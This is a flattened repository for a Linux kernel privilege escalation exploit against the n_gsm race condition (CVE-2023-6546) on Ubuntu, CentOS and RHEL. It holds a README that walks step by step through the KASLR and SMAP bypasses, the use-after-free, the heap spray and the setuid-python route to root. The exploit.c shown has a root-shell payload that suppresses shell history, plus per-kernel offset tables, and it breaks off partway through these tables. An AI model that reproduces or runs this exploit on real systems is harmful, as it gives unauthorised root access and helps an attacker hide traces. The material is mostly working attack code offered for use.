├── Makefile ├── README.md ├── exploit.c └── symbols ├── download_pkgs_rhel.py ├── download_pkgs_ubuntu_centos.py ├── extract_syms_redhat.py ├── extract_syms_ubuntu.py └── kallsyms.py /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc exploit.c -o exploit -lpthread -Wall 3 | 4 | clean: 5 | rm -f exploit 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Linux Kernel GSM Multiplexing Race Condition Local Privilege Escalation Vulnerability (CVE-2023-6546) 2 | 3 | https://www.zerodayinitiative.com/advisories/ZDI-24-020/ 4 | 5 | Contact me: 6 | 7 | Twitter: https://twitter.com/p1k4l4 8 | 9 | Linkedin: https://www.linkedin.com/in/nassim-asrir-b73a57122/ 10 | 11 | Overview 12 | ======== 13 | This is a custom exploit which targets Ubuntu 18.04+20.04 LTS/Centos 8/RHEL 8 to attain root privileges via arbitrary kernel code execution on SMP systems. 14 | 15 | Features 16 | ======== 17 | 18 | Highlights of the significant features include: 19 | 20 | * Bypasses KASLR 21 | * Bypasses SMAP/SMEP 22 | * Supports Linux x86_64 23 | 24 | 25 | Exploit 26 | =================== 27 | 28 | The exploit consists of a binary executable which exploits the vulnerability. 29 | 30 | | File Path | Description | 31 | |:--- |:-- | 32 | | exploit.c | The C file containing the exploit code | 33 | | symbols | Scripts for generating kernel offsets | 34 | 35 | When the exploit binary is run, it will attempt to exploit a race condition 36 | and spawn a root shell. The exploit must be run on a multi-core system with SMP enabled. 37 | Ideally at least 3 cores, but it will also work on dualcore systems, although runtime will 38 | increase. 39 | 40 | To set up a custom payload to execute as root, the PYTHON_PAYLOAD in exploit.c can be modified. 41 | 42 | Build Process 43 | ============= 44 | 45 | Compile exploit.c: 46 | gcc exploit.c -o exploit -lpthread 47 | 48 | Vulnerability Overview 49 | ---------------------- 50 | 51 | The vulnerability exploited is a race condition leading to a use-after-free 52 | on the kmalloc-1024 slab. The bug exists in the n_gsm tty line discipline, 53 | created for gsm modems. 54 | 55 | The race condition results in a UAF on a struct gsm_dlci while restarting the 56 | gsm mux. 57 | 58 | In linux 4.13 the timer interfaces changed slightly and workarounds were 59 | introduced in many parts of the code, including the n_gsm module, leading to 60 | the introduction of the gsm_disconnect function and a general restructuring of 61 | the mux restart code. 62 | 63 | If two processes are going through the mux reset process at the same time, 64 | we can trigger a use-after-free on the struct gsm_dlci object and gain 65 | code execution. 66 | 67 | Exploitation Walkthrough 68 | ------------------------ 69 | 70 | #### Bypassing KASLR 71 | 72 | By default, Ubuntu compiles in the Xen Paravirtualization feature. 73 | This feature exposes a leak of the kernel text base via the "/sys/kernel/notes" file, which is world-readable. 74 | 75 | In *arch/x86/xen/xen-head.S:* 76 | ```c 77 | #ifdef CONFIG_XEN_PV 78 | ELFNOTE(Xen, XEN_ELFNOTE_ENTRY, _ASM_PTR startup_xen) 79 | #endif 80 | ``` 81 | 82 | #### Racing the mux restart 83 | 84 | We spawn two threads that each trigger the ioctl GSMIOC_SETCONF on the same tty file descriptor 85 | with the gsm line discipline enabled to trigger the race condition. 86 | 87 | ```c 88 | static int gsmld_config(struct tty_struct *tty, struct gsm_mux *gsm, 89 | struct gsm_config *c) 90 | { 91 | ... 92 | if (need_close || need_restart) { 93 | int ret; 94 | 95 | ret = gsm_disconnect(gsm); 96 | 97 | if (ret) 98 | return ret; 99 | } 100 | if (need_restart) 101 | gsm_cleanup_mux(gsm); 102 | ... 103 | if (need_restart) 104 | gsm_activate_mux(gsm); 105 | ... 106 | } 107 | 108 | ``` 109 | 110 | Both threads enter gsm_disconnect. 111 | 112 | 113 | ```c 114 | static int gsm_disconnect(struct gsm_mux *gsm) 115 | { 116 | struct gsm_dlci *dlci = gsm->dlci[0]; 117 | struct gsm_control *gc; 118 | 119 | if (!dlci) 120 | return 0; 121 | 122 | /* In theory disconnecting DLCI 0 is sufficient but for some 123 | modems this is apparently not the case. */ 124 | gc = gsm_control_send(gsm, CMD_CLD, NULL, 0); 125 | if (gc) 126 | gsm_control_wait(gsm, gc); [1] 127 | 128 | del_timer_sync(&gsm->t2_timer); 129 | /* Now we are sure T2 has stopped */ 130 | 131 | gsm_dlci_begin_close(dlci); [2] 132 | wait_event_interruptible(gsm->event, 133 | dlci->state == DLCI_CLOSED); [3] 134 | 135 | if (signal_pending(current)) 136 | return -EINTR; 137 | 138 | return 0; 139 | } 140 | ``` 141 | 142 | The first thread gets stuck on [1], we let it go by responding to the control message and get stuck on [3]. 143 | The second thread gets stuck on [1]. 144 | 145 | We then let the first thread go by closing the dlci, and it goes on to gsm_cleanup. 146 | We let the second thread go aswell by responding to it's control message, 147 | but we keep it blocked in the wait by spinning on the same core so it won't get scheduled. 148 | Unfortunately we can't hold off letting the second thread go, because the first thread 149 | might end up resetting the wait queue and we would block forever. 150 | 151 | ```c 152 | static void gsm_cleanup_mux(struct gsm_mux *gsm) 153 | { 154 | ... 155 | mutex_lock(&gsm->mutex); 156 | for (i = 0; i < NUM_DLCI; i++) 157 | if (gsm->dlci[i]) 158 | gsm_dlci_release(gsm->dlci[i]); 159 | mutex_unlock(&gsm->mutex); 160 | ... 161 | } 162 | ``` 163 | 164 | The first thread then goes ahead and frees dlci[0]. 165 | 166 | We then spray to fill that slab object and eventually the second thread gets scheduled again, 167 | with a freed dlci object referenced. 168 | 169 | The second thread executes [2]. 170 | 171 | ```c 172 | static void gsm_dlci_begin_close(struct gsm_dlci *dlci) 173 | { 174 | struct gsm_mux *gsm = dlci->gsm; 175 | if (dlci->state == DLCI_CLOSED || dlci->state == DLCI_CLOSING) [4] 176 | return; 177 | dlci->retries = gsm->n2; 178 | dlci->state = DLCI_CLOSING; 179 | gsm_command(dlci->gsm, dlci->addr, DISC|PF); [5] 180 | mod_timer(&dlci->t1, jiffies + gsm->t1 * HZ / 100); [6] 181 | } 182 | 183 | static inline void gsm_command(struct gsm_mux *gsm, int addr, int control) 184 | { 185 | gsm_send(gsm, addr, 1, control); [7] 186 | } 187 | 188 | static void gsm_send(struct gsm_mux *gsm, int addr, int cr, int control) 189 | { 190 | ... 191 | gsm->output(gsm, cbuf, len); [8] 192 | ... 193 | } 194 | ``` 195 | 196 | If the second thread woke up too early, hopefully [4] won't pass. 197 | 198 | Through [7] and [8] we then get a controlled function pointer call. 199 | 200 | We also try to avoid a crash at [6] by having the timer function 201 | execute as soon as possible and call a dummy function. 202 | 203 | #### Spraying with userfaultfd / add_key 204 | 205 | By using userfaultfd we can effectively block copy_from_user operations in the kernel 206 | indefinitely when copying data over page boundaries. 207 | 208 | We use this in conjunction with add_key to spray fake gsm_dlci objects. 209 | 210 | ```c 211 | buf = mmap(NULL, 4096*2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 212 | memset(buf, 0x41, 4096); 213 | ... 214 | reg.range.start = (unsigned long)buf; 215 | reg.range.len = 4096*2; 216 | ... 217 | 218 | if(ioctl(ufd_fd, UFFDIO_REGISTER, ®)) die("UFFDIO_REGISTER"); [1] 219 | 220 | syscall(__NR_add_key, "user", "wtf", buf + 4096 - 1023, 1024, -123); [2] 221 | 222 | SYSCALL_DEFINE5(add_key, const char __user *, _type, 223 | const char __user *, _description, 224 | const void __user *, _payload, 225 | size_t, plen, 226 | key_serial_t, ringid) 227 | { 228 | ... 229 | payload = kvmalloc(plen, GFP_KERNEL); [3] 230 | copy_from_user(payload, _payload, plen); [4] 231 | ... 232 | } 233 | ``` 234 | 235 | At [1] we register a memory range for userfaultfd handling. 236 | At [2] we pass the buffer into the syscall add_key. 237 | At [3] we kmalloc a block with an user controlled length. 238 | At [4] the data is copied in, but since the second page of the allocation is uninitialized, the syscall will block. 239 | 240 | #### Bypassing SMAP 241 | Since we need to know the address of our fake struct gsm_mux we use a global static buffer to store it. 242 | By using iptables to add an invalid cgroup filter the buffer kernfs_pr_cont_buf gets filled with our 243 | payload data. 244 | 245 | #### The payload 246 | When gsm->output(gsm, ...) gets called, we instead call 247 | __rb_free_aux(gsm) by overriding that function pointer with our UAF. 248 | 249 | This is a pivot to get an arbitrary function call with a controlled argument. 250 | 251 | __rb_free_aux then calls ((struct ring_buffer*)gsm)->aux_free(((struct ring_buffer*)gsm)->aux_priv) 252 | Which basically means we have a controlled call with a controlled argument, 253 | user_controlled1(user_controlled2). 254 | 255 | We then call run_cmd("/bin/chmod u+s /usr/bin/python") to make the python interpreter setuid root. 256 | 257 | Back in userland we then use the setuid python interpreter to do some cleanup and spawn a root shell. 258 | 259 | Notes 260 | =================== 261 | 262 | The following are some notes. 263 | 264 | The exploit has version and architecture specific offsets 265 | which have to be updated for new kernel images. 266 | 267 | These can be gathered from /proc/kallsyms of a running kernel, Symbol.map or directly from the kernel image. 268 | 269 | We include a directory 'symbols' which contains scripts for generating offsets. 270 | 271 | | File Path | Description | 272 | |:--- |:-- | 273 | | download_pkgs_ubuntu_centos.py | Download kernel packages for ubuntu/centos | 274 | | download_pkgs_rhel.py | Download kernel packages for RHEL | 275 | | extract_syms_ubuntu.py | Generate offsets from kernel packages for ubuntu | 276 | | extract_syms_redhat.py | Generate offsets from kernel packages for redhat | 277 | | kallsyms.py | Generate offsets from kallsyms of a running system | 278 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | /* 28 | Ubuntu 18.04+20.04 / Centos 8 / RHEL 8 n_gsm LPE exploit 29 | 30 | Tested on: 31 | Ubuntu 20.04 Server updated at @ 2020-11-05 32 | Ubuntu 18.04 Server updated at @ 2020-11-05 33 | CentOS 8 Server updated at @ 2020-11-05 34 | RHEL 8 Server updated at @ 2020-11-05 35 | 36 | Description: 37 | This exploit targets a race condition bug in the n_gsm tty line dicipline. 38 | The race condition results in a UAF on a struct gsm_dlci while restarting the 39 | gsm mux. 40 | 41 | Background: 42 | In linux 4.13 the timer interfaces changed slightly and workarounds were 43 | introduced in many parts of the code, including the n_gsm module, leading to 44 | the introduction of the gsm_disconnect function and a general restructuring of 45 | the mux restart code. 46 | 47 | Step-by-step: 48 | 1. Thread1 triggers a config change requiring a restart of the mux 49 | 2. Thread1 gets stuck in gsm_disconnect waiting for an answer to the disconnect req 50 | 3. We let Thread1 go by responding and it gets stuck waiting for the disconnect 51 | 4. Thread2 triggers a config change requiring a reopen of dlci[0] 52 | 5. Thread2 gets stuck in gsm_disconnect waiting for an answer to the disconnect req 53 | 6. We start a spinner thread bound to the same core as Thread2 to delay waking up 54 | 7. We then let Thread2 go by responding to it's request, but since the core is blocked it's still not scheduled 55 | (but in a runnable state, we need to do this because gsm_activate_mux will reset the waitqueue and Thread2 would block forever) 56 | 8. We let Thread1 go and execute gsm_activate_mux, which will free the dlci's and reset the mux. 57 | 9. We then spray fake gsm_dlci:s by using userfaultfd and add_key, with dlci->gsm poiting to a static buffer 58 | that we seed with a fake gsm_mux object 59 | 10. Thread2 eventually gets scheduled, but still has a dangling reference to the freed dlci[0] 60 | It then executes dlci_begin_close(dlci[0]) which will end up calling dlci->gsm->output(gsm, ...) 61 | 11. __rb_aux_free(x) calls x->aux_free(x->aux_priv), now we have the ability to call anything with any argument 62 | 12. We call run_cmd("/bin/chmod u+s /usr/bin/python3") to drop a setuid python interpreter 63 | 14. The main thread then does some cleanup and spawns a root shell 64 | 65 | $ gcc exploit.c -o exploit -lpthread 66 | $ ./exploit 67 | [+] Attempt 1/10 68 | [+] Found kernel '4.18.0-240.1.1.el8_3.x86_64' 69 | [+] Found kernel .text, 0xffffffffa2a00000 70 | [+] UAF seems to have hit 71 | [+] Payload ran correctly, spawning shell 72 | uid=0(root) gid=0(root) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 73 | bash-4.4# 74 | */ 75 | 76 | 77 | // 78 | 79 | #define VERBOSE 80 | #define NUM_SPRAY 300 81 | #define EXPLOIT_TRIES 10 82 | #define PYTHON_PAYLOAD "import os; os.setresgid(0, 0, 0); os.setresuid(0, 0, 0); os.execl('/bin/bash', 'bash', '-c', 'export HISTFILE=/dev/null;chmod u-s /usr/bin/python3 /usr/libexec/platform-python 2>/dev/null; rmmod n_gsm; id; exec /bin/bash --norc --noprofile');" 83 | 84 | 85 | struct kern_params 86 | { 87 | char *name; // uname -r 88 | unsigned long hypercall_page; 89 | unsigned long run_cmd; // no nulls 90 | unsigned long kernfs_pr_cont_buf; 91 | unsigned long __rb_free_aux; // no nulls 92 | unsigned long kmem_cache_size; 93 | unsigned long commit_creds; 94 | unsigned long init_cred; 95 | }; 96 | 97 | static struct kern_params kernels_rhel[] = { 98 | {"4.18.0-240.el8.x86_64", 0x00001000, 0x000dc610, 0x01fc2de0, 0x0021f920, 0x00253d20}, 99 | {"4.18.0-240.1.1.el8_3.x86_64", 0x00001000, 0x000dc610, 0x01fc2de0, 0x0021f920, 0x00253d20}, 100 | {"4.18.0-193.el8.x86_64", 0x00001000, 0x000d78e0, 0x01e6cdc0, 0x0020d705, 0x00241060}, 101 | {"4.18.0-193.28.1.el8_2.x86_64", 0x00001000, 0x000d78d0, 0x01e6edc0, 0x0020dc05, 0x00241500}, 102 | {"4.18.0-193.19.1.el8_2.x86_64", 0x00001000, 0x000d78d0, 0x01e6cdc0, 0x0020db70, 0x00241470}, 103 | {"4.18.0-193.14.3.el8_2.x86_64", 0x00001000, 0x000d78d0, 0x01e6cdc0, 0x0020db70, 0x00241470}, 104 | {"4.18.0-193.13.2.el8_2.x86_64", 0x00001000, 0x000d78d0, 0x01e6cdc0, 0x0020db70, 0x00241470}, 105 | {"4.18.0-193.6.3.el8_2.x86_64", 0x00001000, 0x000d78e0, 0x01e6cdc0, 0x0020db80, 0x002414e0}, 106 | {"4.18.0-193.1.2.el8_2.x86_64", 0x00001000, 0x000d78e0, 0x01e6cdc0, 0x0020db30, 0x00241490}, 107 | {"4.18.0-147.el8.x86_64", 0x00001000, 0x000d63b0, 0x01c8a940, 0x00201dd0, 0x0023cd00}, 108 | {"4.18.0-147.8.1.el8_1.x86_64", 0x00001000, 0x000d64c0, 0x01c8a940, 0x00201d90, 0x0023cd00}, 109 | {"4.18.0-147.5.1.el8_1.x86_64", 0x00001000, 0x000d64c0, 0x01c8a940, 0x00201d90, 0x0023ccc0}, 110 | {"4.18.0-147.3.1.el8_1.x86_64", 0x00001000, 0x000d64c0, 0x01c8a940, 0x00201d90, 0x0023ccc0}, 111 | {"4.18.0-147.0.3.el8_1.x86_64", 0x00001000, 0x000d63e0, 0x01c8a940, 0x00201e05, 0x0023cd30}, 112 | {"4.18.0-147.0.2.el8_1.x86_64", 0x00001000, 0x000d6340, 0x01c88940, 0x00201f70, 0x0023ceb0}, 113 | {"4.18.0-80.el8.x86_64", 0x00001000, 0x000cfb05, 0x01c6c3a0, 0x001ef2e0, 0x00228d30}, 114 | {"4.18.0-80.11.2.el8_0.x86_64", 0x00001000, 0x000cfc05, 0x01c6e3a0, 0x001ef680, 0x002290a0}, 115 | {"4.18.0-80.11.1.el8_0.x86_64", 0x00001000, 0x000cfc05, 0x01c6e3a0, 0x001ef680, 0x002290a0}, 116 | {"4.18.0-80.7.2.el8_0.x86_64", 0x00001000, 0x000cfb20, 0x01c6e3a0, 0x001ef590, 0x00228f90}, 117 | {"4.18.0-80.7.1.el8_0.x86_64", 0x00001000, 0x000cfb20, 0x01c6e3a0, 0x001ef590, 0x00228f90}, 118 | {"4.18.0-80.4.2.el8_0.x86_64", 0x00001000, 0x000cfb20, 0x01c6e3a0, 0x001ef305, 0x00228d50}, 119 | {"4.18.0-80.1.2.el8_0.x86_64", 0x00001000, 0x000cfb20, 0x01c6e3a0, 0x001ef305, 0x00228d50}, 120 | {}, 121 | }; 122 | 123 | static struct kern_params kernels_centos[] = { 124 | {"4.18.0-240.1.1.el8_3.x86_64", 0x00001000, 0x000dc610, 0x01fc1de0, 0x0021f920, 0x00253d20}, 125 | {"4.18.0-240.el8.x86_64", 0x00001000, 0x000dc610, 0x01fc1de0, 0x0021f920, 0x00253d20}, 126 | {"4.18.0-236.el8.x86_64", 0x00001000, 0x000dc610, 0x01fd0e00, 0x0021f810, 0x00253c10}, 127 | {"4.18.0-227.el8.x86_64", 0x00001000, 0x000dc505, 0x01fcee00, 0x0021f5a0, 0x002539a0}, 128 | {"4.18.0-211.el8.x86_64", 0x00001000, 0x000dadd0, 0x01fa4b60, 0x00218880, 0x0024cb10}, 129 | {"4.18.0-193.el8.x86_64", 0x00001000, 0x000d78e0, 0x01e6cdc0, 0x0020d705, 0x00241060}, 130 | {"4.18.0-193.28.1.el8_2.x86_64", 0x00001000, 0x000d78d0, 0x01e6edc0, 0x0020dc05, 0x00241500}, 131 | {"4.18.0-193.19.1.el8_2.x86_64", 0x00001000, 0x000d78d0, 0x01e6cdc0, 0x0020db70, 0x00241470}, 132 | {"4.18.0-193.14.2.el8_2.x86_64", 0x00001000, 0x000d78d0, 0x01e6cdc0, 0x0020db70, 0x00241470}, 133 | {"4.18.0-193.10.el8.x86_64", 0x00001000, 0x000d8c60, 0x01e7bdc0, 0x00210a60, 0x00244030}, 134 | {"4.18.0-193.6.3.el8_2.x86_64", 0x00001000, 0x000d78e0, 0x01e6cdc0, 0x0020db80, 0x002414e0}, 135 | {"4.18.0-193.1.2.el8_2.x86_64", 0x00001000, 0x000d78e0, 0x01e6cdc0, 0x0020db30, 0x00241490}, 136 | {"4.18.0-187.el8.x86_64", 0x00001000, 0x000d7990, 0x01e6adc0, 0x0020d3c0, 0x00240d10}, 137 | {"4.18.0-177.el8.x86_64", 0x00001000, 0x000d7990, 0x01e6a9c0, 0x0020d250, 0x00240b60}, 138 | {"4.18.0-168.el8.x86_64", 0x00001000, 0x000d7960, 0x01e689a0, 0x0020d110, 0x002409d0}, 139 | {"4.18.0-151.el8.x86_64", 0x00001000, 0x000d6f20, 0x01ca0980, 0x00207360, 0x00242620}, 140 | {"4.18.0-147.el8.x86_64", 0x00001000, 0x000d63b0, 0x01c8a940, 0x00201dd0, 0x0023cd00}, 141 | {"4.18.0-147.8.1.el8_1.x86_64", 0x00001000, 0x000d64c0, 0x01c8a940, 0x00201d90, 0x0023cd00}, 142 | {"4.18.0-147.6.el8.x86_64", 0x00001000, 0x000d6480, 0x01c8c940, 0x002029d0, 0x0023dce0}, 143 | {"4.18.0-147.5.1.el8_1.x86_64", 0x00001000, 0x000d64c0, 0x01c8a940, 0x00201d90, 0x0023ccc0}, 144 | {"4.18.0-147.3.1.el8_1.x86_64", 0x00001000, 0x000d64c0, 0x01c8a940, 0x00201d90, 0x0023ccc0}, 145 | {"4.18.0-147.0.3.el8_1.x86_64", 0x00001000, 0x000d63e0, 0x01c8a940, 0x00201e05, 0x0023cd30}, 146 | {"4.18.0-144.el8.x86_64", 0x00001000, 0x000d6310, 0x01c88940, 0x00201f40, 0x0023ce80}, 147 | {"4.18.0-80.el8.x86_64", 0x00001000, 0x000cfb05, 0x01c6b3a0, 0x001ef2e0, 0x00228d30}, 148 | {"4.18.0-80.11.2.el8_0.x86_64", 0x00001000, 0x000cfc05, 0x01c6e3a0, 0x001ef680, 0x002290a0}, 149 | {"4.18.0-80.11.1.el8_0.x86_64", 0x00001000, 0x000cfc05, 0x01c6e3a0, 0x001ef680, 0x002290a0}, 150 | {"4.18.0-80.7.2.el8_0.x86_64", 0x00001000, 0x000cfb20, 0x01c6e3a0, 0x001ef590, 0x00228f90}, 151 | {"4.18.0-80.7.1.el8_0.x86_64", 0x00001000, 0x000cfb20, 0x01c6d3a0, 0x001ef590, 0x00228f90}, 152 | {"4.18.0-80.4.2.el8_0.x86_64", 0x00001000, 0x000cfb20, 0x01c6d3a0, 0x001ef305, 0x00228d50}, 153 | {"4.18.0-80.1.2.el8_0.x86_64", 0x00001000, 0x000cfb20, 0x01c6d3a0, 0x001ef305, 0x00228d50}, 154 | {}, 155 | }; 156 | 157 | static struct kern_params kernels_ubuntu[] = { 158 | {"5.8.0-29-generic", 0x2000, 0x0, 0x2171d00, 0x242f20, 0x27bb40, 0xd78d0, 0x1a63080}, // ubuntu 20.10 159 | {"5.4.0-54-generic", 0x00001000, 0x000ce470, 0x01d43880, 0x00217a20, 0x0024dc20}, 160 | {"5.4.0-52-generic", 0x00001000, 0x000ce470, 0x01d43880, 0x00217a20, 0x0024dc20}, 161 | {"5.4.0-51-generic", 0x00001000, 0x000ce470, 0x01d43880, 0x00217a20, 0x0024dc20}, 162 | {"5.4.0-48-generic", 0x00001000, 0x000ce470, 0x01d43880, 0x00217b60, 0x0024dd30}, 163 | {"5.4.0-47-generic", 0x00001000, 0x000ce470, 0x01d43880, 0x00217a90, 0x0024dc50}, 164 | {"5.4.0-46-generic", 0x00001000, 0x000ce470, 0x01d43880, 0x00217b60, 0x0024dd30}, 165 | {"5.4.0-45-generic", 0x00001000, 0x000ce470, 0x01d43880, 0x00217a90, 0x0024dc50}, 166 | {"5.4.0-44-generic", 0x00001000, 0x000ce470, 0x01d43880, 0x00217a90, 0x0024dc50}, 167 | {"5.4.0-43-generic", 0x00001000, 0x000ce470, 0x01d43880, 0x00217a90, 0x0024dc50}, 168 | {"5.4.0-42-generic", 0x00001000, 0x000ce450, 0x01d42880, 0x002170e0, 0x0024d250}, 169 | {"5.4.0-40-generic", 0x00001000, 0x000ce450, 0x01d42880, 0x002170d0, 0x0024d240}, 170 | {"5.4.0-39-generic", 0x00001000, 0x000ce420, 0x01d42880, 0x00216fd0, 0x0024d140}, 171 | {"5.4.0-37-generic", 0x00001000, 0x000ce420, 0x01d42880, 0x00216fd0, 0x0024d140}, 172 | {"5.4.0-33-generic", 0x00001000, 0x000ce405, 0x01d42900, 0x00217c70, 0x0024dd60}, 173 | {"5.4.0-31-generic", 0x00001000, 0x000ce405, 0x01d42900, 0x00217c70, 0x0024dd60}, 174 | {"5.4.0-30-generic", 0x00001000, 0x000ce405, 0x01d42900, 0x00217c70, 0x0024dd60}, 175 | {"5.4.0-29-generic", 0x00001000, 0x000ce360, 0x01d40900, 0x002176c0, 0x0024d7c0}, 176 | {"5.4.0-28-generic", 0x00001000, 0x000ce360, 0x01d40900, 0x002176c0, 0x0024d7c0}, 177 | {"5.4.0-26-generic", 0x00001000, 0x000ce360, 0x01d40900, 0x002176c0, 0x0024d7c0}, 178 | {"5.4.0-25-generic", 0x00001000, 0x000ce360, 0x01d40900, 0x002176c0, 0x0024d7c0}, 179 | {"5.4.0-24-generic", 0x00001000, 0x000ce360, 0x01d40900, 0x002176c0, 0x0024d7c0}, 180 | {"5.4.0-18-generic", 0x00001000, 0x000ce090, 0x01d40880, 0x002164b0, 0x0024c550}, 181 | {"5.4.0-17-generic", 0x00001000, 0x000ce0d0, 0x01d40880, 0x00216505, 0x0024c590}, 182 | {"5.4.0-15-generic", 0x00001000, 0x000ce0c0, 0x01d40840, 0x00216410, 0x0024c4a0}, 183 | {"5.4.0-9-generic", 0x00001000, 0x000c4940, 0x01d34640, 0x0020c0f0, 0x00241f80}, 184 | {"5.3.0-52-generic", 0x00001000, 0x000c8790, 0x01d26e40, 0x0020ee05, 0x00243d70}, 185 | {"5.3.0-51-generic", 0x00001000, 0x000c8720, 0x01d26e40, 0x0020e960, 0x00243880}, 186 | {"5.3.0-48-generic", 0x00001000, 0x000c8720, 0x01d26e40, 0x0020e960, 0x00243880}, 187 | {"5.3.0-46-generic", 0x00001000, 0x000c8410, 0x01d26e00, 0x0020e440, 0x00243330}, 188 | {"5.3.0-45-generic", 0x00001000, 0x000c8410, 0x01d26e00, 0x0020e380, 0x00243370}, 189 | {"5.3.0-43-generic", 0x00001000, 0x000c8410, 0x01d26e40, 0x0020e7f0, 0x002436e0}, 190 | {"5.3.0-42-generic", 0x00001000, 0x000c8410, 0x01d26e00, 0x0020e6a0, 0x00243690}, 191 | {"5.3.0-41-generic", 0x00001000, 0x000c8410, 0x01d26e00, 0x0020e6a0, 0x00243690}, 192 | {"5.3.0-40-generic", 0x00001000, 0x000c54a0, 0x01d23de0, 0x0020b440, 0x00240420}, 193 | {"5.3.0-29-generic", 0x00001000, 0x000c53f0, 0x01d23dc0, 0x0020ad20, 0x0023fce0}, 194 | {"5.3.0-26-generic", 0x00001000, 0x000c53f0, 0x01d23dc0, 0x0020ad20, 0x0023fce0}, 195 | {"5.3.0-24-generic", 0x00001000, 0x000c53a0, 0x01d23dc0, 0x0020ac70, 0x0023fc20}, 196 | {"5.3.0-23-generic", 0x00001000, 0x000c53a0, 0x01d23dc0, 0x0020acd0, 0x0023fcc0}, 197 | {"5.3.0-22-generic", 0x00001000, 0x000c53a0, 0x01d23dc0, 0x0020acd0, 0x0023fcc0}, 198 | {"5.3.0-19-generic", 0x00001000, 0x000c5260, 0x01d23dc0, 0x0020a3e0, 0x0023f3b0}, 199 | {"5.3.0-18-generic", 0x00001000, 0x000c5260, 0x01d23dc0, 0x0020a3e0, 0x0023f3b0}, 200 | {"5.0.0-40-generic", 0x00001000, 0x000c0cf0, 0x01d01660, 0x001f6890, 0x002338e0}, 201 | {"5.0.0-38-generic", 0x00001000, 0x000c0cf0, 0x01d01660, 0x001f6830, 0x00233880}, 202 | {"5.0.0-13-generic", 0x00001000, 0x000bf150, 0x01cfd660, 0x001f2710, 0x0022f320}, 203 | {"4.18.0-26-generic", 0x00001000, 0x000b78c0, 0x01b19940, 0x001e5a90, 0x0021fb80}, 204 | {"4.18.0-25-generic", 0x00001000, 0x000b78a0, 0x01b19940, 0x001e5a70, 0x0021fb60}, 205 | {"4.18.0-20-generic", 0x00001000, 0x000b6fb0, 0x01b19940, 0x001e3ad0, 0x0021dbd0}, 206 | {"4.18.0-10-generic", 0x00001000, 0x000b5ec0, 0x01b15940, 0x001e22a0, 0x0021c330}, 207 | {"4.15.0-124-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd670, 0x00206f20}, 208 | {"4.15.0-122-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd670, 0x00206f20}, 209 | {"4.15.0-121-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd670, 0x00206f20}, 210 | {"4.15.0-118-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd580, 0x00206e20}, 211 | {"4.15.0-117-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd570, 0x00206e10}, 212 | {"4.15.0-116-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd580, 0x00206e20}, 213 | {"4.15.0-115-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd570, 0x00206e10}, 214 | {"4.15.0-114-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd570, 0x00206e10}, 215 | {"4.15.0-113-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd570, 0x00206e10}, 216 | {"4.15.0-112-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd1c0, 0x00206a30}, 217 | {"4.15.0-111-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd1c0, 0x00206a30}, 218 | {"4.15.0-109-generic", 0x00001000, 0x000b5230, 0x01af14c0, 0x001cd1c0, 0x00206a30}, 219 | {"4.15.0-108-generic", 0x00001000, 0x000b5205, 0x01af14c0, 0x001cd160, 0x00206aa0}, 220 | {"4.15.0-106-generic", 0x00001000, 0x000b5205, 0x01af14c0, 0x001cd160, 0x00206aa0}, 221 | {"4.15.0-101-generic", 0x00001000, 0x000b5205, 0x01aed4c0, 0x001cd130, 0x00206a50}, 222 | {"4.15.0-100-generic", 0x00001000, 0x000b5205, 0x01aed4c0, 0x001cd130, 0x00206a50}, 223 | {"4.15.0-99-generic", 0x00001000, 0x000b51e0, 0x01aed4c0, 0x001cd360, 0x00206c80}, 224 | {"4.15.0-97-generic", 0x00001000, 0x000b51e0, 0x01aed4c0, 0x001cd360, 0x00206c80}, 225 | {"4.15.0-96-generic", 0x00001000, 0x000b4f70, 0x01aed4c0, 0x001ccca0, 0x00206550}, 226 | {"4.15.0-92-generic", 0x00001000, 0x000b4f70, 0x01aed4c0, 0x001ccca0, 0x00206550}, 227 | {"4.15.0-91-generic", 0x00001000, 0x000b4f70, 0x01aed4c0, 0x001ccb05, 0x002064c0}, 228 | {"4.15.0-89-generic", 0x00001000, 0x000b4f70, 0x01aed4c0, 0x001ccb05, 0x002064c0}, 229 | {"4.15.0-88-generic", 0x00001000, 0x000b4f60, 0x01aec4c0, 0x001cca40, 0x002063f0}, 230 | {"4.15.0-87-generic", 0x00001000, 0x000b4f60, 0x01aec4c0, 0x001cca40, 0x002063f0}, 231 | {"4.15.0-76-generic", 0x00001000, 0x000b4f60, 0x01aec4a0, 0x001cc5a0, 0x00205fa0}, 232 | {"4.15.0-74-generic", 0x00001000, 0x000b4f60, 0x01aec4a0, 0x001cc5a0, 0x00205fa0}, 233 | {"4.15.0-72-generic", 0x00001000, 0x000b4f20, 0x01aec4a0, 0x001cc530, 0x00205f30}, 234 | {"4.15.0-70-generic", 0x00001000, 0x000b4f70, 0x01aee4a0, 0x001cc460, 0x00205e30}, 235 | {"4.15.0-69-generic", 0x00001000, 0x000b4f70, 0x01aee4a0, 0x001cc460, 0x00205e30}, 236 | {"4.15.0-66-generic", 0x00001000, 0x000b4ed0, 0x01aee4a0, 0x001cc505, 0x00205ec0}, 237 | {"4.15.0-65-generic", 0x00001000, 0x000b4f30, 0x01aee4a0, 0x001cc550, 0x00205f10}, 238 | {"4.15.0-64-generic", 0x00001000, 0x000b4f10, 0x01aed4a0, 0x001cc2a0, 0x00205c20}, 239 | 